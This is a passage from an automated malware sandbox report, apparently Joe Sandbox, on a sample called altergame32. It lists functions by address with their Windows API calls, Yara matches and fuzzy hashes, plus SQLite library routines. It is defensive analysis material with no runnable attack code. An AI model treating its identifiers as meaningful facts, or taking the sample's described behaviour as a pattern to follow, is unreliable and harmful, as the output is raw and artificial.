Part of subcall function 02E53493: RtlExitUserThread.NTDLL(?,00000000,?,02E53473,00000000), ref: 02E534BA

__XcptFilter.LIBCMT ref: 02E5347F

Part of subcall function 02E58D94: __getptd_noexit.LIBCMT ref: 02E58D98

Memory Dump Source

Source File: 00000006.00000002.3048791159.0000000002E41000.00000040.00001000.00020000.00000000.sdmp, Offset: 02E41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2e41000_altergame32.jbxd

Yara matches

Similarity

API ID: __getptd_noexit$ExitFilterThreadUserXcpt__amsg_exit__freeptd
String ID:
API String ID: 1405322794-0
Opcode ID: be4c7acc83ee84a92e92717ee1f3401ea792331664997956a3b05afe9298d8e6
Instruction ID: 93a8d1cb4e2f04bca63dee6452d15d3af62e60f1bd6892304c078fdd33e8ac62
Opcode Fuzzy Hash: be4c7acc83ee84a92e92717ee1f3401ea792331664997956a3b05afe9298d8e6
Instruction Fuzzy Hash: 51E0ECB59906109FEB08EBE0D849F6D77AAAF05701F209098F502AB261DA74A940DF20

Function 004028F0 Relevance: 1.5, APIs: 1, Instructions: 15registryCOMMON

Download Yara Rule

APIs

RegCloseKey.KERNEL32(?), ref: 0040D6D1

Memory Dump Source

Source File: 00000006.00000002.3047502671.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.3047502671.000000000040B000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_altergame32.jbxd

Similarity

API ID: Close
String ID:
API String ID: 3535843008-0
Opcode ID: 6986c9eefc83e51a25370ac1a3e60436c139926f161bcfc0030a1d8b7de223a1
Instruction ID: f31876c6c4c0f138cccee9462a0086245c419a974d7cab85ff81069ee65e3e82
Opcode Fuzzy Hash: 6986c9eefc83e51a25370ac1a3e60436c139926f161bcfc0030a1d8b7de223a1
Instruction Fuzzy Hash: E5D0A77080460893DF240B305A5CCE677F0A715301B615472D181741E1C7B94645A76D

Function 00402247 Relevance: 1.5, APIs: 1, Instructions: 8fileCOMMON

Download Yara Rule

APIs

CopyFileA.KERNEL32 ref: 00402247

Memory Dump Source

Source File: 00000006.00000002.3047502671.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.3047502671.000000000040B000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_altergame32.jbxd

Similarity

API ID: CopyFile
String ID:
API String ID: 1304948518-0
Opcode ID: 0a848a0bc4f9794f60dd0c3c1d8d599b53582c9a33dd7429fb53a4b9a79c8d04
Instruction ID: e53e838d189e15d1a88c58be6bb062d1bba2abba8716db84d0347d729f9f21c2
Opcode Fuzzy Hash: 0a848a0bc4f9794f60dd0c3c1d8d599b53582c9a33dd7429fb53a4b9a79c8d04
Instruction Fuzzy Hash: 7FB09230908108CBC2188A508B4C6F6777C5704780B2651FB950BB10E0DB7C9A4EB91F

Function 004026B8 Relevance: 1.5, APIs: 1, Instructions: 8COMMON

Download Yara Rule

APIs

CreateDirectoryA.KERNEL32 ref: 0040DB3E

Memory Dump Source

Source File: 00000006.00000002.3047502671.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.3047502671.000000000040B000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_altergame32.jbxd

Similarity

API ID: CreateDirectory
String ID:
API String ID: 4241100979-0
Opcode ID: 4e171e566df61bc11b155f3428819f5ad54eaba0083f16c23a33ef502eef1c3c
Instruction ID: 622b69b224c93727709cec0e4232e9ca8028897ae25a3fec4193af00d866e9b4
Opcode Fuzzy Hash: 4e171e566df61bc11b155f3428819f5ad54eaba0083f16c23a33ef502eef1c3c
Instruction Fuzzy Hash: 86B0122094D012F6D00122C00D04D6B293C1915398B3141337107700C105BC000FB67F

Function 02E52160 Relevance: 1.3, APIs: 1, Instructions: 43COMMON

Download Yara Rule

APIs

Part of subcall function 02E51610: OpenEventA.KERNEL32(00100002,00000000,00000000,F6639BC4), ref: 02E516B0
Part of subcall function 02E51610: CloseHandle.KERNEL32(00000000), ref: 02E516C5
Part of subcall function 02E51610: ResetEvent.KERNEL32(00000000,F6639BC4), ref: 02E516CF
Part of subcall function 02E51610: CloseHandle.KERNEL32(00000000,F6639BC4), ref: 02E51704

TlsSetValue.KERNEL32(00000028,?), ref: 02E521AA

Memory Dump Source

Source File: 00000006.00000002.3048791159.0000000002E41000.00000040.00001000.00020000.00000000.sdmp, Offset: 02E41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2e41000_altergame32.jbxd

Yara matches

Similarity

API ID: CloseEventHandle$OpenResetValue
String ID:
API String ID: 1556185888-0
Opcode ID: 3b9b28eafe417fc6c567481bc5014b41513ee904ed75b7ae1bac4107a637e6e8
Instruction ID: dfe169f3091b49f4fbbf6b600976f7f82a4897bb37878ec765eaeeb9ec6c2395
Opcode Fuzzy Hash: 3b9b28eafe417fc6c567481bc5014b41513ee904ed75b7ae1bac4107a637e6e8
Instruction Fuzzy Hash: 0301A271A94214AFD710CF69DC09B5ABBA8FB056B4F108B6AF825D3380D77569108BA0

Function 0040D402 Relevance: 1.3, APIs: 1, Instructions: 9memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000), ref: 0040D404

Memory Dump Source

Source File: 00000006.00000002.3047502671.000000000040B000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.3047502671.0000000000400000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_altergame32.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: d2199ccd38951a2228f4690c2bb14869746e9adfcd46edbeab367d5f72275205
Instruction ID: 1128adf815e116da34b669ea7842f0fee9a422ad02bf30eda05eda9f0811fc53
Opcode Fuzzy Hash: d2199ccd38951a2228f4690c2bb14869746e9adfcd46edbeab367d5f72275205
Instruction Fuzzy Hash: 7BC08C31C08212EFEA404B908A487187AA4AB08709F150061EA85B2280C2B80828EBE9

Function 0040233A Relevance: 1.3, APIs: 1, Instructions: 6sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000007D0), ref: 0040D755

Memory Dump Source

Source File: 00000006.00000002.3047502671.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.3047502671.000000000040B000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_altergame32.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 4b1c864105606ac8e99e9f5613e34887e3b99aeb5aa06c5b01fb020e8278d748
Instruction ID: f0c6549872d860ea028944903253f61ce079030b04137f1852cf427867728f85
Opcode Fuzzy Hash: 4b1c864105606ac8e99e9f5613e34887e3b99aeb5aa06c5b01fb020e8278d748
Instruction Fuzzy Hash: D3B01231948700D6D6402BA0BF0DF1036307704700F20413BA34A344E086FD1409BB0F

Function 0040DBC2 Relevance: 1.3, APIs: 1, Instructions: 3stringCOMMON

Download Yara Rule

APIs

lstrcmpiW.KERNEL32 ref: 0040DBC2

Memory Dump Source

Source File: 00000006.00000002.3047502671.000000000040B000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.3047502671.0000000000400000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_altergame32.jbxd

Similarity

API ID: lstrcmpi
String ID:
API String ID: 1586166983-0
Opcode ID: 2866c08ac9b87989cc392699c312b0709f7a9addcb088bca7ad9bd041635be8a
Instruction ID: 152760751094682eaf5c06a675cbf44d7ff1935ba39f90d314b64f28574f5972
Opcode Fuzzy Hash: 2866c08ac9b87989cc392699c312b0709f7a9addcb088bca7ad9bd041635be8a
Instruction Fuzzy Hash: 87900221604101DEE2001B735E0821525946604651312887D5453E1150DA3880095529

Non-executed Functions

Function 6096748C Relevance: 131.0, APIs: 72, Strings: 2, Instructions: 1504COMMON

Download Yara Rule

APIs

sqlite3_malloc.SQLITE3 ref: 609674C6

Part of subcall function 60916FBA: sqlite3_initialize.SQLITE3(60912743,?,?,?,?,?,?,?,?,?,?,?,?,?,?,609129E5), ref: 60916FC4

Part of subcall function 6095ECA6: sqlite3_mprintf.SQLITE3 ref: 6095ED06
Part of subcall function 6095ECA6: sqlite3_prepare_v2.SQLITE3 ref: 6095ED8D
Part of subcall function 6095ECA6: sqlite3_free.SQLITE3 ref: 6095ED9B

sqlite3_step.SQLITE3 ref: 6096755A
sqlite3_malloc.SQLITE3 ref: 6096783A
sqlite3_bind_int64.SQLITE3 ref: 609678A8
sqlite3_column_bytes.SQLITE3 ref: 609678E8
sqlite3_column_blob.SQLITE3 ref: 60967901
sqlite3_column_int64.SQLITE3 ref: 6096791A
sqlite3_column_int64.SQLITE3 ref: 60967931
sqlite3_column_int64.SQLITE3 ref: 60967950
sqlite3_step.SQLITE3 ref: 609679C3
sqlite3_bind_int64.SQLITE3 ref: 60967AA9
sqlite3_step.SQLITE3 ref: 60967AB4
sqlite3_column_int.SQLITE3 ref: 60967AC7
sqlite3_reset.SQLITE3 ref: 60967AD4
sqlite3_bind_int.SQLITE3 ref: 60967B89
sqlite3_step.SQLITE3 ref: 60967B94
sqlite3_column_int64.SQLITE3 ref: 60967BB0
sqlite3_column_int64.SQLITE3 ref: 60967BCF
sqlite3_column_int64.SQLITE3 ref: 60967BE6
sqlite3_column_bytes.SQLITE3 ref: 60967C05
sqlite3_column_blob.SQLITE3 ref: 60967C1E

Part of subcall function 6095ECA6: sqlite3_mprintf.SQLITE3 ref: 6095ED50

sqlite3_bind_int64.SQLITE3 ref: 60967C72
sqlite3_step.SQLITE3 ref: 60967C7D
memcmp.MSVCRT ref: 60967D4C
sqlite3_free.SQLITE3 ref: 60967D69
sqlite3_free.SQLITE3 ref: 60967D74
sqlite3_free.SQLITE3 ref: 60967FF7
sqlite3_free.SQLITE3 ref: 60968002

Part of subcall function 609634F0: sqlite3_blob_reopen.SQLITE3 ref: 60963510
Part of subcall function 609634F0: sqlite3_blob_bytes.SQLITE3 ref: 609635A3
Part of subcall function 609634F0: sqlite3_malloc.SQLITE3 ref: 609635BB
Part of subcall function 609634F0: sqlite3_blob_read.SQLITE3 ref: 60963602
Part of subcall function 609634F0: sqlite3_free.SQLITE3 ref: 60963621

sqlite3_reset.SQLITE3 ref: 60967C93

Part of subcall function 60941C40: sqlite3_mutex_enter.SQLITE3 ref: 60941C58
Part of subcall function 60941C40: sqlite3_mutex_leave.SQLITE3 ref: 60941CBE

sqlite3_reset.SQLITE3 ref: 60967CA7
sqlite3_reset.SQLITE3 ref: 60968035
sqlite3_bind_int64.SQLITE3 ref: 60967B72

Part of subcall function 60925686: sqlite3_mutex_leave.SQLITE3 ref: 609256D3

sqlite3_bind_int64.SQLITE3 ref: 6096809D
sqlite3_bind_int64.SQLITE3 ref: 609680C6
sqlite3_step.SQLITE3 ref: 609680D1
sqlite3_column_int.SQLITE3 ref: 609680F3
sqlite3_reset.SQLITE3 ref: 60968104
sqlite3_step.SQLITE3 ref: 60968139
sqlite3_column_int64.SQLITE3 ref: 60968151
sqlite3_reset.SQLITE3 ref: 6096818A

Part of subcall function 6095ECA6: sqlite3_mprintf.SQLITE3 ref: 6095ED2B
Part of subcall function 6095ECA6: sqlite3_bind_value.SQLITE3 ref: 6095EDDF

sqlite3_reset.SQLITE3 ref: 609679E9

Part of subcall function 609160CD: sqlite3_realloc.SQLITE3 ref: 609160EF

sqlite3_column_bytes.SQLITE3 ref: 60967587

Part of subcall function 6091D5DC: sqlite3_value_bytes.SQLITE3 ref: 6091D5F4

sqlite3_column_blob.SQLITE3 ref: 60967572

Part of subcall function 6091D57E: sqlite3_value_blob.SQLITE3 ref: 6091D596

sqlite3_reset.SQLITE3 ref: 609675B7
sqlite3_bind_int.SQLITE3 ref: 60967641
sqlite3_step.SQLITE3 ref: 6096764C
sqlite3_column_int64.SQLITE3 ref: 6096766E
sqlite3_reset.SQLITE3 ref: 6096768B
sqlite3_bind_int.SQLITE3 ref: 6096754F

Part of subcall function 609256E5: sqlite3_bind_int64.SQLITE3 ref: 60925704

sqlite3_bind_int.SQLITE3 ref: 609690B2
sqlite3_bind_blob.SQLITE3 ref: 609690DB
sqlite3_step.SQLITE3 ref: 609690E6
sqlite3_reset.SQLITE3 ref: 609690F1
sqlite3_free.SQLITE3 ref: 60969102
sqlite3_free.SQLITE3 ref: 6096910D

Strings

d, xrefs: 6096875D
, xrefs: 60968643

Memory Dump Source

Source File: 00000006.00000002.3049400617.0000000060901000.00000020.00000001.01000000.0000000B.sdmp, Offset: 60900000, based on PE: true

Associated: 00000006.00000002.3049381408.0000000060900000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049450262.000000006096E000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049470005.000000006096F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049490074.000000006097B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049508003.000000006097D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049525902.0000000060980000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_60900000_altergame32.jbxd

Similarity

API ID: sqlite3_reset$sqlite3_step$sqlite3_column_int64sqlite3_free$sqlite3_bind_int64$sqlite3_bind_int$sqlite3_column_blobsqlite3_column_bytessqlite3_mallocsqlite3_mprintf$sqlite3_column_intsqlite3_mutex_leave$memcmpsqlite3_bind_blobsqlite3_bind_valuesqlite3_blob_bytessqlite3_blob_readsqlite3_blob_reopensqlite3_initializesqlite3_mutex_entersqlite3_prepare_v2sqlite3_reallocsqlite3_value_blobsqlite3_value_bytes
String ID: $d
API String ID: 2451604321-2084297493
Opcode ID: 8a4e51d2763d1baa8146902d495da2ef892242416c9706ebfa3093aedc646825
Instruction ID: 6b7ea73e19bc996eb6a422b8fcf26663d3cb25e4dd91ceba81a4d6a678ae72ab
Opcode Fuzzy Hash: 8a4e51d2763d1baa8146902d495da2ef892242416c9706ebfa3093aedc646825
Instruction Fuzzy Hash: 2CF2CF74A152288FDB54CF68C980B9EBBF2BF69304F1185A9E888A7341D774ED85CF41

Function 609660FA Relevance: 39.4, APIs: 19, Strings: 3, Instructions: 926COMMON

Download Yara Rule

APIs

sqlite3_finalize.SQLITE3 ref: 60966178
sqlite3_free.SQLITE3 ref: 60966183
sqlite3_value_numeric_type.SQLITE3 ref: 609661AE
sqlite3_value_numeric_type.SQLITE3 ref: 609661DE
sqlite3_value_text.SQLITE3 ref: 60966236
sqlite3_value_int.SQLITE3 ref: 60966274
memcmp.MSVCRT ref: 6096639E

Part of subcall function 60940A5B: sqlite3_malloc.SQLITE3 ref: 60940AA1
Part of subcall function 60940A5B: sqlite3_free.SQLITE3 ref: 60940C1D

sqlite3_mprintf.SQLITE3 ref: 60966B51
sqlite3_mprintf.SQLITE3 ref: 60966B7D

Part of subcall function 609296AA: sqlite3_initialize.SQLITE3 ref: 609296B0
Part of subcall function 609296AA: sqlite3_vmprintf.SQLITE3 ref: 609296CA

Strings

DESC, xrefs: 60966CB3
ASC, xrefs: 60966CA5
x, xrefs: 609664F1

Memory Dump Source

Source File: 00000006.00000002.3049400617.0000000060901000.00000020.00000001.01000000.0000000B.sdmp, Offset: 60900000, based on PE: true

Associated: 00000006.00000002.3049381408.0000000060900000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049450262.000000006096E000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049470005.000000006096F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049490074.000000006097B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049508003.000000006097D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049525902.0000000060980000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_60900000_altergame32.jbxd

Similarity

API ID: sqlite3_freesqlite3_mprintfsqlite3_value_numeric_type$memcmpsqlite3_finalizesqlite3_initializesqlite3_mallocsqlite3_value_intsqlite3_value_textsqlite3_vmprintf
String ID: ASC$DESC$x
API String ID: 4082667235-1162196452
Opcode ID: 7264e4280a4ba67b830c3238f8418230a53be4a89f04bb086879d88682624c0f
Instruction ID: 01f4316cc9c65235d83944c747b96ccca9397e1276bdc6c450b31a73d7ca280a
Opcode Fuzzy Hash: 7264e4280a4ba67b830c3238f8418230a53be4a89f04bb086879d88682624c0f
Instruction Fuzzy Hash: AD921274A14319CFEB10CFA9C99079DBBB6BF69304F20816AD858AB342D774E985CF41

Function 6096923E Relevance: 29.3, APIs: 19, Instructions: 779COMMON

Download Yara Rule

APIs

sqlite3_bind_int64.SQLITE3(?,?), ref: 609693A5
sqlite3_step.SQLITE3(?,?), ref: 609693B0
sqlite3_column_int64.SQLITE3(?,?), ref: 609693DC

Part of subcall function 6096A2BD: sqlite3_bind_int64.SQLITE3 ref: 6096A322
Part of subcall function 6096A2BD: sqlite3_step.SQLITE3 ref: 6096A32D
Part of subcall function 6096A2BD: sqlite3_column_int.SQLITE3 ref: 6096A347
Part of subcall function 6096A2BD: sqlite3_reset.SQLITE3 ref: 6096A354

sqlite3_reset.SQLITE3(?,?), ref: 609693F3
sqlite3_malloc.SQLITE3(?), ref: 60969561
sqlite3_malloc.SQLITE3(?), ref: 6096958D
sqlite3_step.SQLITE3(?), ref: 609695D2
sqlite3_column_int64.SQLITE3(?), ref: 609695EA
sqlite3_reset.SQLITE3(?), ref: 60969604
sqlite3_realloc.SQLITE3(?), ref: 609697D0
sqlite3_realloc.SQLITE3(?), ref: 609698A9

Part of subcall function 609129D5: sqlite3_initialize.SQLITE3(?,?,?,60915F55,?,?,?,?,?,?,00000000,?,?,?,60915FE2,00000000), ref: 609129E0

sqlite3_bind_int64.SQLITE3(?,?), ref: 609699B8
sqlite3_bind_int64.SQLITE3(?), ref: 6096934D

Part of subcall function 60925686: sqlite3_mutex_leave.SQLITE3 ref: 609256D3

sqlite3_bind_int64.SQLITE3(?,?), ref: 60969A6A
sqlite3_step.SQLITE3(?,?), ref: 60969A75
sqlite3_reset.SQLITE3(?,?), ref: 60969A80
sqlite3_free.SQLITE3(?), ref: 60969D41
sqlite3_free.SQLITE3(?), ref: 60969D4C
sqlite3_free.SQLITE3(?), ref: 60969D5B

Part of subcall function 6095ECA6: sqlite3_mprintf.SQLITE3 ref: 6095ED06
Part of subcall function 6095ECA6: sqlite3_prepare_v2.SQLITE3 ref: 6095ED8D
Part of subcall function 6095ECA6: sqlite3_free.SQLITE3 ref: 6095ED9B

Memory Dump Source

Source File: 00000006.00000002.3049400617.0000000060901000.00000020.00000001.01000000.0000000B.sdmp, Offset: 60900000, based on PE: true

Associated: 00000006.00000002.3049381408.0000000060900000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049450262.000000006096E000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049470005.000000006096F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049490074.000000006097B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049508003.000000006097D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049525902.0000000060980000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_60900000_altergame32.jbxd

Similarity

API ID: sqlite3_bind_int64$sqlite3_freesqlite3_resetsqlite3_step$sqlite3_column_int64sqlite3_mallocsqlite3_realloc$sqlite3_column_intsqlite3_initializesqlite3_mprintfsqlite3_mutex_leavesqlite3_prepare_v2
String ID:
API String ID: 961572588-0
Opcode ID: c724daf3936d67fd3e7a59374d144345718a9f8d9c21f3c7abba70c9fa35c0f4
Instruction ID: dba6eef834311e7f80380fc62c490a647dd1765b4da9a7e0a506f520bf28697a
Opcode Fuzzy Hash: c724daf3936d67fd3e7a59374d144345718a9f8d9c21f3c7abba70c9fa35c0f4
Instruction Fuzzy Hash: 9872F275A042298FDB24CF69C88078DB7F6FF98314F1586A9D889AB341D774AD81CF81

Function 60963143 Relevance: 10.8, APIs: 3, Strings: 3, Instructions: 301COMMON

Download Yara Rule

APIs

sqlite3_stricmp.SQLITE3 ref: 60963159
sqlite3_bind_int64.SQLITE3 ref: 609633E6
sqlite3_mutex_leave.SQLITE3 ref: 609634B6

Strings

2, xrefs: 60963403
foreign key, xrefs: 609631B8
indexed, xrefs: 609631F0

Memory Dump Source

Source File: 00000006.00000002.3049400617.0000000060901000.00000020.00000001.01000000.0000000B.sdmp, Offset: 60900000, based on PE: true

Associated: 00000006.00000002.3049381408.0000000060900000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049450262.000000006096E000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049470005.000000006096F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049490074.000000006097B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049508003.000000006097D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049525902.0000000060980000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_60900000_altergame32.jbxd

Similarity

API ID: sqlite3_bind_int64sqlite3_mutex_leavesqlite3_stricmp
String ID: 2$foreign key$indexed
API String ID: 4126863092-702264400
Opcode ID: efb0247afb620838301bdf32ec29a55ffab8ab84c5461d6934eb6e15b590f11f
Instruction ID: 3d5d194cd292e354de8359ea213fef7e5121ae3f60f7d2d7ba557b44893e8b9c
Opcode Fuzzy Hash: efb0247afb620838301bdf32ec29a55ffab8ab84c5461d6934eb6e15b590f11f
Instruction Fuzzy Hash: 6BE1B374A142099FDB04CFA8D590A9DBBF2BFA9304F21C129E855AB754DB35ED82CF40

Function 6093323D Relevance: 9.2, APIs: 2, Strings: 3, Instructions: 432COMMON

Download Yara Rule

APIs

sqlite3_stricmp.SQLITE3 ref: 609334A2
sqlite3_stricmp.SQLITE3 ref: 609334BB

Strings

DISTINCT, xrefs: 60933658
USING COVERING INDEX , xrefs: 609333F7
ORDER BY, xrefs: 60933671

Memory Dump Source

Source File: 00000006.00000002.3049400617.0000000060901000.00000020.00000001.01000000.0000000B.sdmp, Offset: 60900000, based on PE: true

Associated: 00000006.00000002.3049381408.0000000060900000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049450262.000000006096E000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049470005.000000006096F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049490074.000000006097B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049508003.000000006097D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049525902.0000000060980000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_60900000_altergame32.jbxd

Similarity

API ID: sqlite3_stricmp
String ID: USING COVERING INDEX $DISTINCT$ORDER BY
API String ID: 912767213-1308749736
Opcode ID: 5e6ae8a77223c4cf3853263767bd84c2ef0a0cb2633a4755bdfaa367f33b2fd5
Instruction ID: 4f43644a9add5c5df618cbd47cd61ce2203d262f2077f605e752fe25420d36ab
Opcode Fuzzy Hash: 5e6ae8a77223c4cf3853263767bd84c2ef0a0cb2633a4755bdfaa367f33b2fd5
Instruction Fuzzy Hash: 2412D674A08268CFDB25DF28C880B5AB7B3AFA9314F1085E9E8899B355D774DD81CF41

Function 6094B407 Relevance: 9.1, APIs: 6, Instructions: 99COMMON

Download Yara Rule

APIs

sqlite3_bind_int64.SQLITE3 ref: 6094B488
sqlite3_step.SQLITE3 ref: 6094B496
sqlite3_reset.SQLITE3 ref: 6094B4A4
sqlite3_bind_int64.SQLITE3 ref: 6094B4D2
sqlite3_step.SQLITE3 ref: 6094B4E0
sqlite3_reset.SQLITE3 ref: 6094B4EE

Part of subcall function 6094B54C: memmove.MSVCRT(?,?,?,?,?,?,?,?,00000000,?,6094B44B), ref: 6094B6B5

Memory Dump Source

Source File: 00000006.00000002.3049400617.0000000060901000.00000020.00000001.01000000.0000000B.sdmp, Offset: 60900000, based on PE: true

Associated: 00000006.00000002.3049381408.0000000060900000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049450262.000000006096E000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049470005.000000006096F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049490074.000000006097B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049508003.000000006097D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049525902.0000000060980000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_60900000_altergame32.jbxd

Similarity

API ID: sqlite3_bind_int64sqlite3_resetsqlite3_step$memmove
String ID:
API String ID: 4082478743-0
Opcode ID: 967f7dd55d0e0ed5657609aa573e07de9c17706341fbe9ef37ba536950e7892f
Instruction ID: 9e7f29540a3c6f2d28ce6b101cd1a975f5529a8f599b89b7128c34d749e8d9ce
Opcode Fuzzy Hash: 967f7dd55d0e0ed5657609aa573e07de9c17706341fbe9ef37ba536950e7892f
Instruction Fuzzy Hash: DD41D2B4A087018FCB50DF69C484A9EB7F6EFA8364F158929EC99CB315E734E8418F51

Function 6094D33B Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 171COMMON

Download Yara Rule

APIs

sqlite3_mutex_enter.SQLITE3 ref: 6094D354
sqlite3_mutex_leave.SQLITE3 ref: 6094D546

Part of subcall function 60905D76: sqlite3_stricmp.SQLITE3 ref: 60905D8B
Part of subcall function 60905D76: sqlite3_stricmp.SQLITE3 ref: 60905DA4
Part of subcall function 60905D76: sqlite3_stricmp.SQLITE3 ref: 60905DB8

sqlite3_stricmp.SQLITE3 ref: 6094D3DA

Strings

BINARY, xrefs: 6094D45D, 6094D469
INTEGER, xrefs: 6094D462

Memory Dump Source

Source File: 00000006.00000002.3049400617.0000000060901000.00000020.00000001.01000000.0000000B.sdmp, Offset: 60900000, based on PE: true

Associated: 00000006.00000002.3049381408.0000000060900000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049450262.000000006096E000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049470005.000000006096F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049490074.000000006097B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049508003.000000006097D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049525902.0000000060980000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_60900000_altergame32.jbxd

Similarity

API ID: sqlite3_stricmp$sqlite3_mutex_entersqlite3_mutex_leave
String ID: BINARY$INTEGER
API String ID: 317512412-1676293250
Opcode ID: a7efc97792d1e6a4bc5cda92ab6d03f9066f32250883ff14ac0274f07e3e06bf
Instruction ID: cace79839434994537c0410bddb438ad3d501bddbf1b20fcc6a8a8bdb5da7fdd
Opcode Fuzzy Hash: a7efc97792d1e6a4bc5cda92ab6d03f9066f32250883ff14ac0274f07e3e06bf
Instruction Fuzzy Hash: 8E712978A056099BDB05CF69C49079EBBF2BFA8308F11C529EC55AB3A4D734E941CF80

Function 6093F42E Relevance: 6.4, APIs: 4, Instructions: 416COMMON

Download Yara Rule

APIs

sqlite3_mutex_enter.SQLITE3 ref: 6093F443

Part of subcall function 60904396: sqlite3_mutex_try.SQLITE3(?,?,?,60908235), ref: 609043B8

sqlite3_mutex_enter.SQLITE3 ref: 6093F45C

Part of subcall function 60939559: memcmp.MSVCRT ref: 60939694
Part of subcall function 60939559: memcmp.MSVCRT ref: 609396CA

sqlite3_mutex_leave.SQLITE3 ref: 6093F8CD
sqlite3_mutex_leave.SQLITE3 ref: 6093F8E3

Memory Dump Source

Source File: 00000006.00000002.3049400617.0000000060901000.00000020.00000001.01000000.0000000B.sdmp, Offset: 60900000, based on PE: true

Associated: 00000006.00000002.3049381408.0000000060900000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049450262.000000006096E000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049470005.000000006096F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049490074.000000006097B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049508003.000000006097D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049525902.0000000060980000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

